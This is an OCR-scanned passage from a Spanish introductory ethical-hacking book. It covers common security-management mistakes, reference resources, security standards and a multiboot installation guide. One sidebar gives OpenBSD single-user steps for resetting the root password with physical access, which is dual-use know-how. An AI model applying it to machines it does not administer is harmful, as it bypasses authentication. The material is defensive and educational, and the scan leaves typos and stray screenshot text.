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imposibles que genera una herramienta en busca de vulnerabilidades. Por ejem-
plo, si chequeamos un server FreeBSD vy, al finalizar, en el reporte se nos dice
que en su IIS 5.0 hay una determinada vulnerabilidad, debemos reconocer que
es imposible porque no puede estar presente una falla de una aplicacion utilizada
en un servidor Windows. Por eso, confiar ciegamente en los resultados de una
herramienta automatizada es un grave error. Aparte de que ésta tiene que ser
ajustada previamente para llevar tal chequeo, los resultados o el reporte tienen
que ser analizados para descartar los falsos positivos -o analizar los falsos
negativos- (mas aun cuando los administradores tienen cierto sentido del humor
al editar los banners de servicios o falsear el resultado de la deteccién mediante
fingerprint). Por l6gica, si un supuesto profesional reporta un falso positivo, auto-
maticamente se desacreditara todo el trabajo de reporte.

Redactar procedimientos de seguridad inutiles: L.as normas y procedimientos
tienen incidencia directa en el escenario. Si tenemos a alguien que escribe procedi-
mientos incoherentes o impracticables, el sistema con seguridad estara en modo de
riesgo. Por ejemplo, uno que diga: La clave root del servidor principal tiene que es-
tar resguardada bajo el método split knowledgement, y cada parte deberd ser de
conocimiento por cada uno de los administradores a cargo en su turno. Split know-
ledgement significaria, en este caso, que cada administrador debera conocer tan so-
lo una parte de la clave y no su totalidad. Qué pasaria si el administrador que esta
a cargo en su turno un sabado a las 5 am sufre una intrusién y cuando se da cuen-
ta:

¢ El intruso esta dumpeando —extrayendo- los datos mas importantes de su orga-
nizacién, millones de registros y los envia afuera.

* Acto seguido el intruso, como root, expulsa al administrador de su propio servidor
matandole la sesion. ¢Qué hara? Tendria que apagar el servidor o desconectarlo de
la red (con todo lo que ello significaria para la integridad del sistema, produccion y
databases) o bien encontrar al resto de los administradores para ver como hacen
para loguearse (éstos pueden estar en los mas diversos lugares y estados de concien-
cia).

OSSEC (HIDS TOOL)

OSSEC es una herramienta open source multiplataforma, basada en HIDS (Host-based
Intrusion Detection System] que integra: ingenieria de analisis, analisis de registros,
chequeo de integridad en archivos, monitoreo de registro, politicas centralizadas,
deteccidn de rootkits y alertas en tiempo real. http://www.ossec.net/main/
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* Incluso, el intruso a esa altura ya habra modificado el password de root —o re-
nombrado el archivo o finalizado el servicio de login- y wipeado (borrado de mo-
do seguro) sus rastros desde un servidor interno, que a su vez tiene conectado via
on the fly a otro que se encuentra en un pueblito de Kazajstan.

Ese procedimiento citado tiene cero dinamica y puede empeorar las cosas en un
momento que ya de por si es critico.

Prestemos mucha atencion: un gran teérico de la gestion de la seguridad de la in-
formacion puede, por si solo, llegar a redactar cosas impracticables en la realidad
y contexto del escenario. Por eso, el relevamiento de infraestructura y el conoci-
miento técnico de la totalidad de los componentes mas el seguimiento y el control
de los factores humanos, légicos y procesos que lo rodean es de suma vitalidad pa-
ra lograr buen material normativo.

Utilizar plantillas (templates) predefinidas para la elaboracién del conte-
nido de politicas: No es lo mejor utilizar politicas adaptables. En primer lu-
gar, por una cuestion ética de no venderle un enlatado de seguridad a una or-
ganizacion que maneja datos sensibles y nos paga un trabajo a medida o respon-
sable. En segundo lugar, porque es un riesgo, ya que esa falta de relevamiento
exhaustivo (artesanal) de procesos deja librados pequefios aspectos del sistema.
Finalmente, porque no hay dos organizaciones iguales, ni siquiera dos sucursa-
les de una misma firma.

Si no se tiene el conocimiento de todos los aspectos de un escenario para hacerlo
bien, hay que conformar un equipo de trabajo y reclutar a la gente adecuada para
cada campo. McDonalizar la seguridad informatica de la organizacion, a la larga
se termina pagando caro. Exacto, ademas de todas las tipicas amenazas y riesgos,
hay intrusos y procesos del tipo Gourmet.

Elegir entre chequeo de seguridad en produccion o fuera de ella: Hay que
hacer ambas, porque son dos estados diferentes en los procesos y flujo de infor-
macion. Si fuéramos médicos, serfa como tomar la presion sanguinea a alguien
que esta haciendo deporte y a otro que esta durmiendo, con todo lo que ello re-

Guia de lockpicking

Si estamos interesados en ampliar nuestros conocimientos sobre lockpicking, pode-
mos encontrar la mitica guia MIT de lockpicking traducida al espariol en la direccion:
www.lockpickingsport.com/articulos-y-traducciones/327-por-fin-la-guia-mit-en-
espanol.html
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presentarfa en los resultados.

Por otro lado, hay que prestarle especial atencion a los componentes que pueden
llegar a sufrir el estrés del proceso o flujo de datos. Imaginemos qué sucederia si a
determinada hora de produccion se cae un firewall.

No saber aprovechar e interpretar los errores generados en los sistemas o
no saber generarlos: Es un caso muy normal en el hacking ético. Si no se che-
quea a mano, algin output (informacién de error que notariamos al hacer una pe-
ticion http manual o del protocolo que sea) se puede perder, incluso algunos no
le ven la utilidad y lo dejan pasar, cuando un intruso inteligente jamas subestima-
ria tal dato. El afan por la automatizacion en la biasqueda de vulnerabilidades es
uno de las causantes.

Generar errores en una aplicacion online mediante peticiones HTTP es extremada-
mente util, ya que se conocen tecnologias, directorios, versiones, claves, codigo
fuente, archivos ocultos, backups, datos sensibles o utiles de todo tipo.

Focalizar sobre un solo aspecto de la seguridad: Es usual que sélo se con-
temple un aspecto de la seguridad informatica de la organizacién y no todos.
Lo mas comun es hacer foco en el aspecto técnico. Muchos creen que con uti-
lizar varios firewalls, algun enlace via SSL (cifrado) en la intranet, un adminis-
trador de perfil técnico sentado frente al servidor y un pufado de antivirus en
las terminales ya es suficiente para garantizar seguridad de la informacion insti-
tucional. Nada mads errado. Las normativas y la calidad del recurso humano
también cuentan.

Malos reportes luego del Network Security Assessment: El modo en el que se
entregue esta sujeto a quien lo tenga que interpretar. Cuestiones de disefio grafico, re-
torica, estética u orden se pueden dejar a un lado o bien delegar a un disefiador, pero
si se olvida la enumeracion de las cosas en su totalidad, se omiten datos relevantes o
se expresan de modo confuso, excesivo, barroco o bizatro, es un grave error.

Exponer el escenario personal o descentralizar informacion sensible sin

Tecnologias USB al alcance de todos

Aungque la tecnologia avanza a diario, algunas de las nuevas creaciones pueden generar problemas en ciertos
ambitos. Si visitamos los sitios www.getusb.info/category/usb-fever/y http://spanish.getusb.info/lector-62-en-
1-si-no-lo-tiene-no-lo-necesitas/ para ver las novedades, realmente tenemos que ponernos a pensar en elim-
pacto que puede tener este tipo de herramientas en manos de los empleados de una organizacion.
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autorizacion: Se ha visto muchas veces a encargados de la seguridad de un es-
cenario o proyecto enviar informacion sensible sin cifrar a una casilla de correo
electronica personal, informaciéon muy precisa del escenario mediante graficos en
archivos .vsd (Microsoft Visio), sus passwords y configuraciones, documentos en
Word o PDF de procedimientos y normas u otra informacioén util. Esto repre-
senta un descuido de muy alto riesgo con el agravante de que, seguramente, ese
tipo de desvio de informacién no esta autorizado por la organizaciéon o por algun
comité de seguridad, y encima un intruso habil podtia interceptarlo.

No ser eficiente: La diferencia entre eficacia y eficiencia, en una organizacion que
puede derrochar o destinar muchos recursos a un proyecto, quiza no cuente dema-
siado. Pero en cuestiones de seguridad informatica, la eficiencia en tiempo es
fundamental. No ser eficiente en ese punto puede llegar a exponer potencialmente
los activos de la organizacion.

Haz lo que digo (no lo que hago): Es indispensable que uno mismo adopte las
medidas de cuidado en sus propios activos. Nunca se sabe cuando alguien va a in-
tentar comprometerlos. Por ejemplo, si recomendamos a todo el mundo que utili-
ce 12 caracteres en la contrasena, debemos aplicarlo también a las nuestras.

Subestimar al usuario final de terminales: El tipico usuario o empleado, con

una terminal conectada a Internet dentro de la organizacion, es un factor para te-

ner muy en cuenta ya que, si no se lo limita en privilegios y se lo educa en cuanto

a politicas de uso o controles, puede ser a corto y mediano plazo un grave proble-

ma. Entre otras cosas podria:

* Visitar paginas inapropiadas.

¢ Instalar programas del tipo P2P.

* Manipular correo electronico con malware.

* Descentralizar informacién institucional a traves de mensajeros o correo.

* Conectar pendrives u otras unidades de almacenamiento.

 Conectar notebooks infectadas.

* Conectarse fuera de la organizacion a través de un nodo wireless ajeno a ésta (con
el riesgo de que le tomen todas sus claves).

e Tratar de extraer informacioén de otras terminales o servidores.

* Publicar o dejar informacion de la organizacion en Internet u otro medio.

* Asignar claves de administracién por su cuenta.

¢ Ser victima de ingenierfa social.

No mantenerse debidamente informado: :Por qué es bueno estar informado al
instante y continuamente de las fallas o técnicas de intrusion que se hacen publicas

dfa a dfa? Mas alla de nuestro interés en ese tipo de noticias por lo que aporta al co-
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nocimiento, su importancia radica en que, si alguna se relaciona a nuestro sistema,
hay que tomar las medidas correspondientes para que éste no corra riesgos.

Desestimar reportes de seguridad de terceros o subestimar al atacante que
utiliza técnicas simples: Muchos jévenes suelen probar herramientas como es-
caneres, técnicas a mano o bien exploits, en recursos que estan en Internet, con
las mas diversas intenciones. Algunos de estos reportan desinteresadamente la fa-
lla encontrada en el sistema a sus administradores o a algun contacto responsable
que hayan encontrado. La mayoria de estos reportes suelen ser desestimados, mi-
nimizados o directamente ignorados por alguien en la organizacion, sin pensar que
luego otro intruso (esta vez con malas intenciones) puede hallarlo y explotarlo.
Generalmente, esos reportes caen en manos del responsable de dicho descuido y
por eso no pasan de alli. Dificilmente un administrador le diga a su jefe: “He des-
cuidado los servidores, recién avisaron que se puede entrar a nuestra red..., pero
no se preocupe que ahora mismo lo soluciono.”

A ese error se le suma el prejuicio de categorizar a los intrusos (que ya han come-
tido el acto o lo estan intentando) en script kiddies, crackers, hackers o lamers
cuando todos éstos se valen de cualquier tipo de técnica que tienen a su alcance o
de la que pueden llevar a cabo debido a sus limitaciones. Por ejemplo, si un intru-
so extremadamente preparado e inteligente descubrié un login en el que usuario y
clave son admin/admin, ¢no lo va a utilizar porque fue muy facil hallatlo? Lo uti-
lizara sin duda alguna. Un administrador minimizara el hecho diciendo que un
script kiddie entré con el tipico usuario admin de clave admin y que ya estd todo
solucionado, mientras que en realidad posiblemente haya backdoors en los princi-
pales servidores, ningtin rastro de la intrusion interna, ni de su permanencia.

El intruso menos preparado no sélo probara el admin/admin, sino que tiene al-
go que los empleados con responsabilidades no poseen: mucho, pero mucho,
tiempo libre. Luego de probar lo poco que conoce a rafz de su falta de conoci-
mientos, podria quedarse aletargado esperando a que se presente una falla facil
de explotar o algun descuido del administrador y, de ese modo, comprometer el
escenario. Por ejemplo, en un escenario seguro, pero con varios servers ya iden-
tificados con IIS 6.0 + ASP, una noche de sabado se publica un exploit para esa
combinacién en una lista publica de seguridad. Acto seguido, esa persona se en-
tera, lo busca, lo compila y lo utiliza a las 2 am, cuando el administrador que so-
lucionara la falla a la mafiana siguiente esta durmiendo. Incluso, podra dedicarse
noches enteras a buscar esa falla al azar en otras redes. Quizas solo deforme una
pagina web para alimentar su ego intentando demostrar lo hacker que es, mien-
tras que el intruso experimentado tratara por todos los medios de pasar desaper-
cibido, ocultando rastros y procesos, ya sea para interceptar informacion sensible
interna o utilizar los recursos para comprometer los activos de otra organizacion.
En definitiva, un intruso es un intruso, no importa lo preparado que esté o
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la intenciéon que tenga. El escenario debe asegurarse de modo correcto. Si
un tercero a la organizacion reporta casualmente una falla, por mas irrisoria que és-
ta parezca, debemos solicitarle detalles, actuar rapido para solucionarla y ser agra-
decidos.

Este es el agradecimiento de la gente de Google por un pequefio reporte de
seguridad que realicé en junio pasado:

Google Security <security@google.com> 20-jun

Para:  Carlos Tori

Fecha: 20-jun-2007 9:05

Asunto: Re: [#845274691] Vulnerability report, XSS at groups.google.com.

Hi,
Thank you for your note.

Thank you for bringing this issue to our attention. Google takes the
security of our services very seriously and we are currently
investigating your report. We appreciate your cooperation and
discretion on this matter while we are looking into it. We will
follow up with you soon.

Thanks very much,

Christoph Kern
Google Security Team

NOTE: This message was sent by a human.
Confiar plenamente en los administradores: Si el profesional de seguridad

tiene sélidos conocimientos técnicos en cuanto a sistemas operativos, el solo re-
levamiento del estado de los servidores le dard un claro panorama acerca del ni-

Mas conductas errdneas

Ademas del listado de conductas equivocadas que vemos aqui, podemos encontrar otras cosas
que debemos aprender a evitar en www.sans.org/resources/mistakes.php. Aunque la informa-
cion esta en inglés, encontraremos otras conductas erréneas ligadas al aspecto de administra-
cion, del tipo técnico.
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vel de quien los mantiene. LLos procedimientos no serviran de nada si no se aca-
tan, pero tampoco serviran de mucho si los que tienen que acatarlos no tienen
como hacerlo. El administrador ideal es aquel que es proactivo, dedicado e ins-
truido.

Hacer preferencia de plataformas: Recomendar u optar por una plataforma pa-
ra todo o para la mayorfa del escenario s6lo porque nosotros tenemos afinidad ha-
cia ella o la conseguimos en oferta o la elegimos por la capacidad de venta de quien
nos la ofertd, es un grave error. No hay que entrar en el error de comparar siste-
mas operativos para ver cual es mejor, ya que cada uno tiene una aplicacion, caso
y tipo de usuario. Si el escenario va a llevarse a cabo desde cero o a modificarse,
como primer paso debe haber un detallado analisis de la situacion: ¢a qué tarea, set-
vicio o tipo de procesamiento se va a dedicar el sistema operativo?, ¢qué tipo de
usuario habra y cual sera su soporte?, squé presupuesto hay para licencias y hard-
warer Sobre esa base, tomamos una determinacién.

Delegar el reclutamiento de personal de seguridad a gente sin experiencia:
Si somos un unico profesional de la seguridad, serfa una tarea titanica asegurar
los activos de una gran organizacion.

Por eso, necesitaremos un equipo de gente.

Si tenemos experiencia, probablemente ya deberfamos conocer a las personas indi-
cadas para tal tarea (sean de la propia empresa, colegas o tercerizados) y, llegado al
caso de que éstos estén ocupados o no deseen integrar el equipo por diferentes mo-
tivos, deberemos reclutar personal para conformar ese grupo de trabajo.

Al hacerlo, uno de los errores mas graves consiste en delegar ese reclutamiento a
un departamento de recursos humanos sin el apoyo de alguien con demasiada ex-
periencia en el tema, ya que el resultado puede ser desalentador. Por ejemplo, po-
drian conseguirnos un grupo de jovenes no aptos para la tarea, pero con la suficien-
te habilidad de comunicacién como para pasar algunas entrevistas, o con titulos de
sistemas, pero sin experiencia real alguna ni las capacidades minimas necesarias.
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~ Parent Directory -

2 z2c5-viaeo-mpas 06-Jan-2008 09:04 -
2 23e3/ 01-Jan-2007 09:18 -
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Einary Revolution Redio Parody.mpd 15-Dec-2007 14:17  16H
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Repositorio. En http://mirrors.easynews.com/blackhat&defcon/
encontramos uno de los mayores repositorios piblicos de registros
de video y sonido sobre conferencias de seguridad existentes a la fecha.

TECNICAS MAS AVANZADAS DE ETHICAL HACKING

Las técnicas de ethical hacking son incontables, y en este libro nos basamos en los
conceptos mas simples por una cuestion de espacio. En pocas palabras, es un ma-
nual de nociones basicas de caracter introductorio, no académico (deberan esperar
mi tesis) ni profundamente técnico. Imaginemos que los libros para preparar exa-
menes para certificaciones del tipo CISSP tienen mas de mil paginas, y s6lo son re-
visiones de preguntas tipo multiple choice.

Mas alla de las técnicas avanzadas existentes, hay formas de resoluciéon de proble-
mas que, en el momento de la intrusién o comprobaciéon de seguridad, quedan su-
jetas al ingenio del profesional y que pueden llegar a ser de un alto nivel de com-
plejidad. Algunos claros ejemplos de este tipo pueden verse en el sitio de Roman
(www.rs-labs.com/papers/i64-reto_IV-solve.txt), en las presentaciones de congre-
sos tipo Defcon, Pastcon, Blackhat o bien en ezines como Phrack (1-63).

Las técnicas sofisticadas pueden estar asociadas a Criptografia y Criptanalisis, Wi-

Datacenters y organizaciones

Entre otros documentos relativos a la seguridad de una organizacion, en www.sans.org/readin-
g_room/whitepapers/awareness/ podemos descargar el Data Center Physical Security Checklist
de SANS, que nos puede resultar de gran ayuda para aumentar la conciencia sobre cuestiones de
seguridad fisica y repasar los aspectos que pueden hacer vulnerable nuestro ambiente.
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reless, Bluetooth, Voip, deniales de servicio, man in the middle attacks, ingenieria
inversa, hacks en los kernels en mdaltiples plataformas, hacks en los binarios dentro
de varias arquitecturas, ataques contra sistemas de deteccion de intrusos, spoofing,
esconder payloads en archivos, shellcoding, firewalls, routers, sniffing, técnicas
blind, de tunneling, inyeccion dll, etcétera.

- e AU {http:waw.qfxsoftwaye.coml

QFX

software Home Products Download

Developer of Cutting-Edge Secwity Products

Join 580,000 KeyScrambler users from 177 countries & enjoy the best
anti-keylogging protection.

KeyScrambler encrypts your keystrokes at the
kernel driver level to defeat known and unknown
keyloggers.

New! &ll three KeyScrambler products
quadruple protected applications in the
new 2.0 version. see full list »

uKeyScramblerm DOWNLOAD
personal

The free browser add-on now protects
everything you type into Firefox, Internet
Explorer, and/or Flock against keyloggers:

Click on the play button to view KeyScrambler video

“w &l websites, including your login credentials,
credit card numbers, passwords, search terms and

more; ™
- uKeyScrambler RCHA
“w all parts of your browser, including Java, Flash, premiwm bt
Runescape and more; $44.99
s All your web email, including Yahoo mail, hotmail, The Premium now protects six different

and gmail. categories of applications, from browsers

to a dozen major finance/tax, office, and
password managing programs:

KeyScrambler. En www.gfxsoftware.com podremos encontrar lo que llaman
hoy por hoy la mejor solucion para el keylogging ya que, esta aplicacion cifra
en memoria todo lo que se teclea, haciendo inentendible el log de alguna
aplicacion tipo espia que grabe dicha informacion.

Por dltimo esta el objetivo. Una nueva aplicacion puede llegar a requerir una for-
ma diferente de embate, quizas con alguna técnica ya conocida, como SQL injec-

Contratos y cuestiones legales

En la pagina del Instituto Nacional de Tecnologias de la Informacion INTECO (www.inte-
co.es), podemos encontrar documentos muy interesantes relacionados con actividades IT.
Por ejemplo, si vamos a la seccién OBSERVATORIO, dentro de Area Juridica de la Sequri-
dad y las TIC, encontraremos modelos de contratos tecnoldgicos y guias legales.
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tion, pero aplicada de algun modo innovador para lograr asf algtin tipo de inci-
dencia en el sistema (evasion de controles por ejemplo).

METODOLOGIAS Y NORMATIVAS EXISTENTES

En principio, hay que diferenciar bien sobre qué tipo de documentacion habla-
mos. Existen metodologias escritas puramente para guiar al personal de sistemas
para llevar a cabo determinados chequeos de seguridad informatica y, por otro la-
do, estan las normativas para la gestiéon de la seguridad de la informacién en ge-
neral o para organizar determinados aspectos de ésta.

c X (G ‘http:,llwww.nethntz.cnm/IihravylInfn_SE:uvity_Fnrum_Standard_Gnnd_Practi:es.pdf (L? - i@v

D[ |20 @ @ [#2%] | Q Buscar %

About the Standard
Principles and

e The Standard of Good Practice
Seourity for Information Security
Management

(enterprise-wide)
Critical Business

Applications ,
Computer

Installations L

Networks \
Systems

Development

Index

Figures \\

Tables
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IS027000

| El Portal de ISO 27000 en Espaiiol

| _Inicio | Mapa ] Acercade ] Contacto

Noticias
Archivo de Noticias
Articulos y Podcasts
Boletines y Revistas
Guias y Publicaciones

Actualidad
Entrevistas
1SO 27000

Otr
Esténdares

[ [1s027000 |

Aviso Logal
55 [s0e7000 | 2005 8 Comrialt

ISO 27001: Sistemas de gestion de la seguridad de la informacion
18/Decemberi2007, 05:32 PM

Informacion y recursos para la implantacion de Sistemas de Gestidn de Seguridad de la Informacidn certificables en
IS0 27001. Abdnese a las Noticias via RSS.

Noticias a pantalla completa y texto regulable en formato Basico o Clésico.

Cursos de IS0 27001 de BSI en Madrid (Espafia)
17/December2007, 09:24 PM

BSI Espafia tiene programados 2 cursos relativos a ISO 27001 en Madrid

Auditoria de ISO 27001 (Lead Auditor)

Curso de cinco dias de duracidn en el que se abordan todos los aspectos relacionados con la auditoria de un
sistema de gestidn de seguridad de |a informacidn basado en ISO 27001, Teoria, ejercicios, casos practicos y un
examen al finalizar el curso que, en caso de superarse, proporciona el titulo de Lead Auditor.

14-18 Enero de 2008

1.800 euros

|

Contrasefia en OpenBSD

Para cambiar la contrasena de root en modo fisico de OpenBSD, tenemos que bootear
en modo single user con la opcién boot -s. Luego, debemos montar el sistema con
mount -a y ejecutar passwd. A continuacién, tipeamos la nueva clave, la repetimos pa-
ra verificarla y por ultimo, reiniciamos con shutdown -r now.
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UNIVERSIDAD NACIONAL DE COLOMBIA
. VICERRECTORIA GENERAL
DIRECCION NACIONAL DE INFORMATICA Y COMUNICACIONES

Guia para elaboracion de politicas de seguridad

Esta metodologia es potencialmente 1itil para el desarrollo, implementacion, mantenimiento y
eliminacion de un conjunto completo de politicas — tanto de seguridad como en otras dGreas.

Es frecuente que las personas involucradas con seguridad informatica tengan una visién estrecha de
lo que significa desarrollar las politicas de seguridad, pues no basta con escribirlas y pretender
ponerlas en practica. En ocasiones se incluye la asignacién de responsables. se realizan actividades
para dar a conocerlas y. quizd, se supervise su cumplimiento; pero esto tampoco basta. Muchas
politicas de seguridad informatica fallan ya que se desconoce lo que implica realmente
desarrollarlas.

Es importante resaltar que una politica de seguridad tiene un ciclo de vida completo mientras esta
vigente. Este ciclo de vida incluye un esfuerzo de mvestigacion, la labor de escribirla, lograr que las

Guia. En www.unal.edu.co/seguridad/documentos/
guia_para_elaborar_politicas_v1_0.pdf encontraremos

un documento muy claro y atil que elabord, mediante traduccién y adaptacién la
Universidad Nacional de Colombia. En él, se explica como elaborar politicas de seguridad.

Las grandes organizaciones (formales) o aquellas que manejan activos sensibles de
informacion, al encontrarse con la necesidad u obligacion de tener que protegetlos,
se alinean a éstas para establecer un SGSI, Sistema de Gestién de Seguridad de la
Informacion (ver UNE ISO/IEC 27001:2007), o suelen consultatlas cuando se so-
meten a procesos puntuales de auditorfas u orden.

Esta normativa también puede ser dedicada para asegurar la continuidad de sus
negocios (planes BCP, DRP), para analizar riesgos, implementar determinadas
politicas, controles fisicos, legales, etcétera. Algunas de las mas conocidas en ges-
tién son: ISO (familia 27000 - 17799), IRAM, Sarbanes Oxley, SANS, SPTED,
Technet/Microsoft, ITIL, MAGERIST, NIST, Cobit, BS, ISM3, BSI, ITSEC/
ITSEM, GAIT, HTCIA y CompTIA.

Firefox como plataforma de chequeo

En el sitio:
www.security-database.com/toolswatch/Turning-Firefox-to-an-auditing.html
podran encontrar como utilizar y transformar Firefox en una plataforma de testeo.

315



@ ] http:f funang, amazon. comjgpfproduct fimages/0072257091 fref=dp_image_07ie=UTFa&n=258531558&s=baooks

amazoncon

Gray Hat Hacking : The Ethical Hacker's Handbook

R e o T
Pt e Tty oy e Wy gy e s B b s =

GRAY
- HAT

HACKING

|
i
i
:
!
$

|
]

Gray. En Amazon pueden conseguir el libro Gray Hat Hacking, de Shon Harris.
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Bonus Track > Olstema
multiplatatorma

En este Gltimo apartado veremos

cémo instalar FreeBSD, Debian GNU/Linux
y Windows XP Professional en un sélo
disco duro. Asi podremos utilizar o
estudiar todos sus recursos y
prestaciones, para ampliar nuestros

conocimientos.



INSTALAR UNA PLATAFORMA MULTISISTEMA

La unidad es la variedad, y la variedad en la unidad es la ley
suprema del universo.
Isaac Newton (1643-1727)

Hoy en dfa, es posible conseguir discos duros de grandes capacidades a un costo
muy conveniente, y también hay interesantes sistemas operativos libres que se
encuentran bastante evolucionados. ¢Por qué entonces no tener una estacion de
trabajo o un servidor con todos ellos conviviendo bajo un mismo disco?

Ventajas

La principal ventaja es poder conocer bien los sistemas operativos en todos los
sentidos y aprovechar sus caracteristicas técnicas: seguridad, performance, intera-
ccién, robustez y paquete de utilidades.

Nos sirve para practicar administraciéon de aplicaciones como Apache
Webserver o base de datos, tal como MySQL. También nos ayuda a aprender
hardening (cémo asegurar cada sistema operativo) y a llevar a cabo chequeos de
seguridad desde diferentes herramientas y plataformas, ya que cada una tiene su
versatilidad y cuenta con diferente disponibilidad de utilidades. Es util para
clonar objetivos (aplicaciones, escenarios u hosts) que vamos a chequear, para
montar honeypots temporarios, para reproducir la explotacion de determinadas
vulnerabilidades por analizar.

Sirve para programar bajo diferentes entornos y lenguajes como C, Python, Perl,
bash scripting y otros, para desarrollar una mayor diversidad de exploits, scripts
y herramientas de auditorfa y para conocer los diferentes modos de seteo para
¢éstos dentro del networking.

Por otro lado, nos ayuda a comprender la interaccion entre sistemas operativos
aplicando técnicas de analisis forense digital (en caliente y frio), descubrir fuentes
de datos digitales (registros de acciones) como también metodologias.

Sirve para testear nuevas aplicaciones o scripts en diversos contextos, para emular
sistemas y virtualizar aplicaciones y, en caso de que un sistema operativo se
inutilice, inmediatamente podemos contar con el resto.

Instalacion de los sistemas

Por todo esto, veremos a continuacién como instalar estos tres sistemas operativos
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de la manera mas facil posible. Nos enfocaremos principalmente en el particionado

basico v correcto, va que el resto de las tareas se llevan a cabo segin el hardware
bl

que tengamos, nuestros gustos, necesidades y tareas.

LTI

Disco. Disco SATA de 7200 revoluciones y 8 megas de caché
a punto de ser particionado para hacer una estacion/server multiboot.

Como primer paso, tomamos un disco duro de 320 Gigas nuevo y vacio. En este
caso, utilizaremos un Samsung modelo HD320K]. Lo instalamos en un equipo y
lo particionamos con Paragon Partition Manager Professional (o cualquier otro
programa de particionado) de la siguiente manera:

¢ Asignamos 240 Gigas aproximadamente para Windows XP Professional (mucho
espacio destinado para alojar pesadas rainbow tables y software).

* 30 Gigas aproximadamente para Debian Linux.

* 30 Gigas aproximadamente para FreeBSD.

OpenBSD

Aqui estZ la forma de instalar OpenBSD, considerado el sistema operativo mAs se
do por defecto www.openbsd.org/fag/es/fag4.html al que solo se le han descubier

vulnerabilidades remotas en muchos azos.
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En los dos ultimos casos, dejamos suficiente lugar en cada uno como para no tener
problemas de almacenamiento ni errores relacionados con inodes
(http://es.wikipedia.org/wiki/Inodo).

¥ Paragon Partition Manager Professional = 'E‘ @
General View HardDisk Partition Operations Wizards Help

g 5 8 8 P @ & ®» § &

Apply Undo Undoall Changes Copy Properties
ER=Y 0isk 0 (SAMSUNG HD3: gkes [ Disk N FAT1E [ LinuxExt2 I Linux Swap B Unformatted
3 Primary E: Extended FAT32 Linux Ext3 I HPFS [ Invalid
& Primary *: [ Free [ NTFS ReiserFS [ Other

3 Primary, free
-5} Disk 1 (HDS728080PLAT20) 76.7 GB

A
* Linu Ex2 =
b

volume | Type | system | Size Used | Free | volume label | Active | Hidden |
EWE: Primary NTFS 240GB  73.8MB  239GB SAMSUNG Ves Ho

&% primary Linux Extz 29368 ob  29.3GB LINUX Ho Ho

@ Primary [fres] 29.3GB

[For Help, press F1 S6.1 MB CPU: 5%

Particionado. Aqui podemos ver como quedé particionado el disco. Una particién
en NTFS de 240 Gigas y dos de 30. La de Linux particionada en modo Ext2
y la que dejaremos para FreeBSD por ahora figura como espacio libre.

Procedemos a instalar primero el sistema operativo Windows XP Professional SP2
en espafiol. Para eso, booteamos desde el CD y seguimos el proceso tipico de
instalacion. Una vez que llegamos al momento de hacer las particiones, elegimos la
C:, presionando Enter sobre ella.

A continuacién, formateamos la unidad C: en modo NTFS rapido. Luego, se
copiaran los archivos que se van a instalar, se reiniciara el sistema y comenzara el
proceso de instalacion. Cuando se nos solicite, deberemos ingresar nuestro nombre
y el de la organizacion, el numero de serie del producto y el nombre de la maquina
y la contrasefa del administrador. Posteriormente, establecemos la fecha, la hora y
la zona horaria y, para terminar, activamos el sistema.
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te lista muestra las particiones existentes
acio no particionado en este equipo.

teclas de cursor arriba y abajo para
cionar un elemento de la lista.

« Para instalar Windows XP en la particién
seleccionada, presione Entrar.

« Para crear una particidn en el espacio no
particionado, presione C.

e Para eliminar la particidn seleccionada,
presione D.

Disco 385243 MB @ en Id. @ en bus @ en atapi [MBRI

: Papticionl (SAMSUNG) [NTFS] 245258 MB ¢ 245178 MB libres)

E: Particion2 [Desconocidol 29996 MB ( 29996 MB libres)
Espacio no particionado 29996 MB

L o el e e |
IRAR=Instalar D=Eliminar particion F3=Salir

Particiones. Vista de las particiones disponibles en el proceso de instalacion de Windows
XP.

Si deseamos crear una version instalable de Windows XP desatendida (que se
instale sola sin requerir nuestra interaccion luego de bootear el CD) con todos los
parches incluidos a la fecha, podemos utilizar la aplicacién nlite, que es posible
descargar de www.nliteos.com.

Cuando finalizamos con la instalacion, actualizamos Windows XP con Winup
(www.winup.es), un archivo que contiene todos los parches a la fecha y nos da la
posibilidad de actualizar la maquina offline, de un modo rapido y seguro (sin
exponerla a Internet desactualizada).

Ahora instalaremos FreeBSD 6.2, que podemos descargar de:

ftp:/ /ftp7.freebsd.org/pub/FreeBSD /ISO-IMAGES-i386/6.2. De los dos CD
que bajamos, tomamos el primero y lo booteamos tal como hicimos con Windows.
Pasamos a setear las configuraciones simples a nuestro gusto y, en cuanto aparece

Actualizacién

Este procedimiento es el mismo en las versiones FreeBSD 7.0, Windows XP SP3 y

que son las que salieron al momento de imprimirse este libro. Lo unice que ca

kearlas en el gestor de arranque Grub. Por ello, mirar bien los nombres de lo

nu.lst al editarlo para as no tener inconvenientes, presten suma atenci n a
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el FreeBSD Disklabel Editor, elegimos la particion ad4s3.

FreeBSD Dicklobe ! Editor

Size Newfs Part Mount

The following commands are valid here (upper or lower case):
C = Create D = Delete M = Mount pt.

N = Newfs Opts Q = Finish S = Toggle SoftUpdates 2 = Custom Newfs
T = Toggle Newfs U = Undo A = Auto Defaults R = Delete+Merge

l‘n Fl or 7 to get more help, arrow keys to select.

FreeBSD. Pantalla que aparece una vez que elegimos
la particion ad4s3, destinada a alojar el sistema operativo FreeBSD 6.2.

Luego pulsamos la letra A para que se asignen los sectores cotrectos (swap, /var,

/tmp y /ust) de particién automaticamente dentro de esa porcion de disco vy, para
terminar, presionamos Q.

FreeBSD Disklabel Edito

Disk: ad4 Partition name: ad4s3 Free: 8 blocks (8MB)

Part Mount Size Newfs Part Mount

ad4s3b  swap 2822MB SWAP

adds3d  ar 2835MB UFS2+S Y
adds3e  /tmp S12MB UFS2+S Y
adds3f  susr 24914MB UFS2+S ¥

The following commands are valid here (upper or lower case):

C = Create D = Delete M = Mount pt.

M= Mewfs Opts  Q = Finish S = Toggle SoftUpdates 2 = Custom Newfs
T = Toggle Newfs U = Undo A = Auto Defaults R = DeletesNerge

liu F1 or 7 to get more help, arrow keys to select.

FreeBSD. Pantalla del FreeBSD Disklabel
Editor con el espacio seteado de la particion.

Seleccionamos la opcién Standard — Begin a Standard installation
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(recommended), elegimos la instalacién de todos los paquetes ALL —All
system sources, binaries, and X Windows system- que, mientras son
instalados, nos pueden solicitar cambiar el CD1 por el CD2.

Cuando en el final se nos pregunta si deseamos escribir la MBR, seleccionamos la
opcion NONE Leave the master boot record untouched y hacemos clic en OK
o pulsamos Enter para finalizar. Luego, FreeBSD seteara algunas cosas, como la
conexion de Internet a través de DHCP para asignar una IP y salir navegando por
Internet. Si no deseamos setear alguno de estos puntos, sélo hay que presionar No,
la opcién mas recomendada si no sabemos exactamente lo que debemos setear.
